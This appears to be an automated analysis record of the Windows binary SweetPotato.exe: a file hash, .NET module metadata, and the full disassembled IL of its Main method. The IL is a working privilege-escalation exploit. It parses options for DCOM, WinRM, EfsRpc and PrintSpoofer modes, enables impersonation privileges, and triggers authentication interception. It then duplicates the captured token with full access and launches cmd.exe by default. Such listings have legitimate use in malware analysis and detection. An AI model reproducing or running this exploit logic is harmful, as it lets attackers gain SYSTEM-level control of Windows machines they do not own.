f03a17b69f4c60629ba9b9981c89deb0

PE Detect: PeReader OK (file layout)

SweetPotato.exe

SweetPotato.exe

System.Void SweetPotato.Program::Main(System.String[])

SweetPotato.exe

ModuleDef

Console

v4.0.30319

512

<null>

SweetPotato

1.0.0.0

<null>

False

<null>

.NETFramework,Version=v4.6.1

346

System.Void SweetPotato.Program::Main(System.String[])

250

newobj System.Void SweetPotato.Program/<>c__DisplayClass1_0::.ctor() stloc.0 <null> ldloc.0 <null> ldstr 4991D34B-80A1-4291-83B6-3328366B9097 stfld System.String SweetPotato.Program/<>c__DisplayClass1_0::clsId ldloc.0 <null> ldc.i4 6666 stfld System.UInt16 SweetPotato.Program/<>c__DisplayClass1_0::port ldloc.0 <null> ldstr c:\Windows\System32\cmd.exe stfld System.String SweetPotato.Program/<>c__DisplayClass1_0::program ldloc.0 <null> ldnull <null> stfld System.String SweetPotato.Program/<>c__DisplayClass1_0::programArgs ldloc.0 <null> ldc.i4.0 <null> stfld SweetPotato.ExecutionMethod SweetPotato.Program/<>c__DisplayClass1_0::executionMethod ldloc.0 <null> ldc.i4.3 <null> stfld SweetPotato.PotatoAPI/Mode SweetPotato.Program/<>c__DisplayClass1_0::mode ldloc.0 <null> ldc.i4.0 <null> stfld System.Boolean SweetPotato.Program/<>c__DisplayClass1_0::showHelp ldc.i4.0 <null> stloc.1 <null> ldstr SweetPotato by @_EthicalChaos_ Orignal RottenPotato code and exploit by @foxglovesec Weaponized JuciyPotato by @decoder_it and @Guitro along with BITS WinRM discovery PrintSpoofer discovery and original exploit by @itm4n EfsRpc built on EfsPotato by @zcgonvh and PetitPotam by @topotam call System.Void System.Console::WriteLine(System.String) newobj System.Void Mono.Options.OptionSet::.ctor() ldstr c=|clsid= ldstr CLSID (default BITS: 4991D34B-80A1-4291-83B6-3328366B9097) ldloc.0 <null> ldftn System.Void SweetPotato.Program/<>c__DisplayClass1_0::<Main>b__0(System.String) newobj System.Void System.Action`1<System.String>::.ctor(System.Object,System.IntPtr) call Mono.Options.OptionSet Mono.Options.OptionSet::Add<System.String>(System.String,System.String,System.Action`1<System.String>) ldstr m=|method= ldstr Auto,User,Thread (default Auto) ldloc.0 <null> ldftn System.Void SweetPotato.Program/<>c__DisplayClass1_0::<Main>b__1(SweetPotato.ExecutionMethod) newobj System.Void System.Action`1<SweetPotato.ExecutionMethod>::.ctor(System.Object,System.IntPtr) callvirt Mono.Options.OptionSet Mono.Options.OptionSet::Add<SweetPotato.ExecutionMethod>(System.String,System.String,System.Action`1<SweetPotato.ExecutionMethod>) ldstr p=|prog= ldstr Program to launch (default cmd.exe) ldloc.0 <null> ldftn System.Void SweetPotato.Program/<>c__DisplayClass1_0::<Main>b__2(System.String) newobj System.Void System.Action`1<System.String>::.ctor(System.Object,System.IntPtr) callvirt Mono.Options.OptionSet Mono.Options.OptionSet::Add(System.String,System.String,System.Action`1<System.String>) ldstr a=|args= ldstr Arguments for program (default null) ldloc.0 <null> ldftn System.Void SweetPotato.Program/<>c__DisplayClass1_0::<Main>b__3(System.String) newobj System.Void System.Action`1<System.String>::.ctor(System.Object,System.IntPtr) callvirt Mono.Options.OptionSet Mono.Options.OptionSet::Add(System.String,System.String,System.Action`1<System.String>) ldstr e=|exploit= ldstr Exploit mode [DCOM|WinRM|EfsRpc|PrintSpoofer(default)] ldloc.0 <null> ldftn System.Void SweetPotato.Program/<>c__DisplayClass1_0::<Main>b__4(SweetPotato.PotatoAPI/Mode) newobj System.Void System.Action`1<SweetPotato.PotatoAPI/Mode>::.ctor(System.Object,System.IntPtr) callvirt Mono.Options.OptionSet Mono.Options.OptionSet::Add<SweetPotato.PotatoAPI/Mode>(System.String,System.String,System.Action`1<SweetPotato.PotatoAPI/Mode>) ldstr l=|listenPort= ldstr COM server listen port (default 6666) ldloc.0 <null> ldftn System.Void SweetPotato.Program/<>c__DisplayClass1_0::<Main>b__5(System.UInt16) newobj System.Void System.Action`1<System.UInt16>::.ctor(System.Object,System.IntPtr) callvirt Mono.Options.OptionSet Mono.Options.OptionSet::Add<System.UInt16>(System.String,System.String,System.Action`1<System.UInt16>) ldstr h|help ldstr Display this help ldloc.0 <null> ldftn System.Void SweetPotato.Program/<>c__DisplayClass1_0::<Main>b__6(System.String) newobj System.Void System.Action`1<System.String>::.ctor(System.Object,System.IntPtr) callvirt Mono.Options.OptionSet Mono.Options.OptionSet::Add(System.String,System.String,System.Action`1<System.String>) stloc.2 <null> ldloc.2 <null> ldarg.0 <null> callvirt System.Collections.Generic.List`1<System.String> Mono.Options.OptionSet::Parse(System.Collections.Generic.IEnumerable`1<System.String>) pop <null> ldloc.0 <null> ldfld System.Boolean SweetPotato.Program/<>c__DisplayClass1_0::showHelp brfalse.s IL_012D: leave.s IL_014B ldloc.2 <null> call System.Void SweetPotato.Program::PrintHelp(Mono.Options.OptionSet) leave IL_035C: ret leave.s IL_014B: nop stloc.3 <null> ldstr [!] Failed to parse arguments: {0} ldloc.3 <null> callvirt System.String System.Exception::get_Message() call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.2 <null> call System.Void SweetPotato.Program::PrintHelp(Mono.Options.OptionSet) leave IL_035C: ret nop <null> newobj System.Void SweetPotato.Program/<>c__DisplayClass1_1::.ctor() stloc.s V_4 ldloc.s V_4 ldloc.0 <null> stfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldc.i4.s 28 call System.Boolean SweetPotato.ImpersonationToken::EnablePrivilege(SweetPotato.ImpersonationToken/SecurityEntity) stloc.s V_5 ldc.i4.1 <null> call System.Boolean SweetPotato.ImpersonationToken::EnablePrivilege(SweetPotato.ImpersonationToken/SecurityEntity) stloc.s V_6 ldc.i4.3 <null> call System.Boolean SweetPotato.ImpersonationToken::EnablePrivilege(SweetPotato.ImpersonationToken/SecurityEntity) pop <null> ldloc.s V_5 brtrue.s IL_018A: ldloc.s V_4 ldloc.s V_6 brtrue.s IL_018A: ldloc.s V_4 ldstr [!] Cannot perform interception, necessary privileges missing. Are you running under a Service account? call System.Void System.Console::WriteLine(System.String) leave IL_035C: ret ldloc.s V_4 ldfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldfld SweetPotato.ExecutionMethod SweetPotato.Program/<>c__DisplayClass1_0::executionMethod brtrue.s IL_01BC: ldloc.s V_4 ldloc.s V_5 brfalse.s IL_01AB: ldloc.s V_6 ldloc.s V_4 ldfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldc.i4.1 <null> stfld SweetPotato.ExecutionMethod SweetPotato.Program/<>c__DisplayClass1_0::executionMethod br.s IL_01BC: ldloc.s V_4 ldloc.s V_6 brfalse.s IL_01BC: ldloc.s V_4 ldloc.s V_4 ldfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldc.i4.2 <null> stfld SweetPotato.ExecutionMethod SweetPotato.Program/<>c__DisplayClass1_0::executionMethod ldloc.s V_4 ldfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldfld SweetPotato.PotatoAPI/Mode SweetPotato.Program/<>c__DisplayClass1_0::mode ldc.i4.3 <null> bne.un.s IL_01EB: ldloc.s V_4 ldstr [+] Attempting NP impersonation using method PrintSpoofer to launch ldloc.s V_4 ldfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldfld System.String SweetPotato.Program/<>c__DisplayClass1_0::program call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) br IL_0289: ldloc.s V_4 ldloc.s V_4 ldfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldfld SweetPotato.PotatoAPI/Mode SweetPotato.Program/<>c__DisplayClass1_0::mode ldc.i4.2 <null> bne.un.s IL_0217: ldstr "[+] Attempting {0} with CLID {1} on port {2} using method {3} to launch {4}" ldstr [+] Attempting NP impersonation using method EfsRpc to launch ldloc.s V_4 ldfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldfld System.String SweetPotato.Program/<>c__DisplayClass1_0::program call System.String System.String::Concat(System.String,System.String) call System.Void System.Console::WriteLine(System.String) br.s IL_0289: ldloc.s V_4 ldstr [+] Attempting {0} with CLID {1} on port {2} using method {3} to launch {4} ldc.i4.5 <null> newarr System.Object dup <null> ldc.i4.0 <null> ldloc.1 <null> brtrue.s IL_022E: ldstr "NTLM Auth" ldstr DCOM NTLM interception br.s IL_0233: stelem.ref ldstr NTLM Auth stelem.ref <null> dup <null> ldc.i4.1 <null> ldloc.s V_4 ldfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldfld System.String SweetPotato.Program/<>c__DisplayClass1_0::clsId stelem.ref <null> dup <null> ldc.i4.2 <null> ldloc.1 <null> brtrue.s IL_0256: ldc.i4 5985 ldloc.s V_4 ldfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldfld System.UInt16 SweetPotato.Program/<>c__DisplayClass1_0::port br.s IL_025B: box System.Int32 ldc.i4 5985 box System.Int32 stelem.ref <null> dup <null> ldc.i4.3 <null> ldloc.s V_4 ldfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldfld SweetPotato.ExecutionMethod SweetPotato.Program/<>c__DisplayClass1_0::executionMethod box SweetPotato.ExecutionMethod stelem.ref <null> dup <null> ldc.i4.4 <null> ldloc.s V_4 ldfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldfld System.String SweetPotato.Program/<>c__DisplayClass1_0::program stelem.ref <null> call System.Void System.Console::WriteLine(System.String,System.Object[]) ldloc.s V_4 ldloc.s V_4 ldfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldfld System.String SweetPotato.Program/<>c__DisplayClass1_0::clsId newobj System.Void System.Guid::.ctor(System.String) ldloc.s V_4 ldfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldfld System.UInt16 SweetPotato.Program/<>c__DisplayClass1_0::port ldloc.s V_4 ldfld SweetPotato.Program/<>c__DisplayClass1_0 SweetPotato.Program/<>c__DisplayClass1_1::CS$<>8__locals1 ldfld SweetPotato.PotatoAPI/Mode SweetPotato.Program/<>c__DisplayClass1_0::mode newobj System.Void SweetPotato.PotatoAPI::.ctor(System.Guid,System.UInt16,SweetPotato.PotatoAPI/Mode) stfld SweetPotato.PotatoAPI SweetPotato.Program/<>c__DisplayClass1_1::potatoAPI ldloc.s V_4 ldfld SweetPotato.PotatoAPI SweetPotato.Program/<>c__DisplayClass1_1::potatoAPI callvirt System.Boolean SweetPotato.PotatoAPI::Trigger() brtrue.s IL_02DB: ldstr "[+] Intercepted and authenticated successfully, launching program" ldstr [!] No authenticated interception took place, exploit failed call System.Void System.Console::WriteLine(System.String) leave IL_035C: ret ldstr [+] Intercepted and authenticated successfully, launching program call System.Void System.Console::WriteLine(System.String) ldloc.s V_4 ldfld SweetPotato.PotatoAPI SweetPotato.Program/<>c__DisplayClass1_1::potatoAPI callvirt System.IntPtr SweetPotato.PotatoAPI::get_Token() ldsfld System.UInt32 SweetPotato.ImpersonationToken::TOKEN_ALL_ACCESS ldsfld System.IntPtr System.IntPtr::Zero ldc.i4.1 <null> ldc.i4.1 <null> ldloc.s V_4 ldflda System.IntPtr SweetPotato.Program/<>c__DisplayClass1_1::impersonatedPrimary call System.Boolean SweetPotato.ImpersonationToken::DuplicateTokenEx(System.IntPtr,System.UInt32,System.IntPtr,SweetPotato.ImpersonationToken/SECURITY_IMPERSONATION_LEVEL,SweetPotato.ImpersonationToken/TOKEN_TYPE,System.IntPtr&) brtrue.s IL_0317: ldloc.s V_4 ldstr [!] Failed to impersonate security context token call System.Void System.Console::WriteLine(System.String) leave.s IL_035C: ret ldloc.s V_4 ldftn System.Void SweetPotato.Program/<>c__DisplayClass1_1::<Main>b__7() newobj System.Void System.Threading.ThreadStart::.ctor(System.Object,System.IntPtr) newobj System.Void System.Threading.Thread::.ctor(System.Threading.ThreadStart) dup <null> callvirt System.Void System.Threading.Thread::Start() callvirt System.Void System.Threading.Thread::Join() leave.s IL_035C: ret stloc.s V_7 ldstr [!] Failed to exploit COM: {0} ldloc.s V_7 callvirt System.String System.Exception::get_Message() call System.Void System.Console::WriteLine(System.String,System.Object) ldloc.s V_7 callvirt System.String System.Exception::get_StackTrace() callvirt System.String System.Object::ToString() call System.Void System.Console::WriteLine(System.String) leave.s IL_035C: ret ret <null>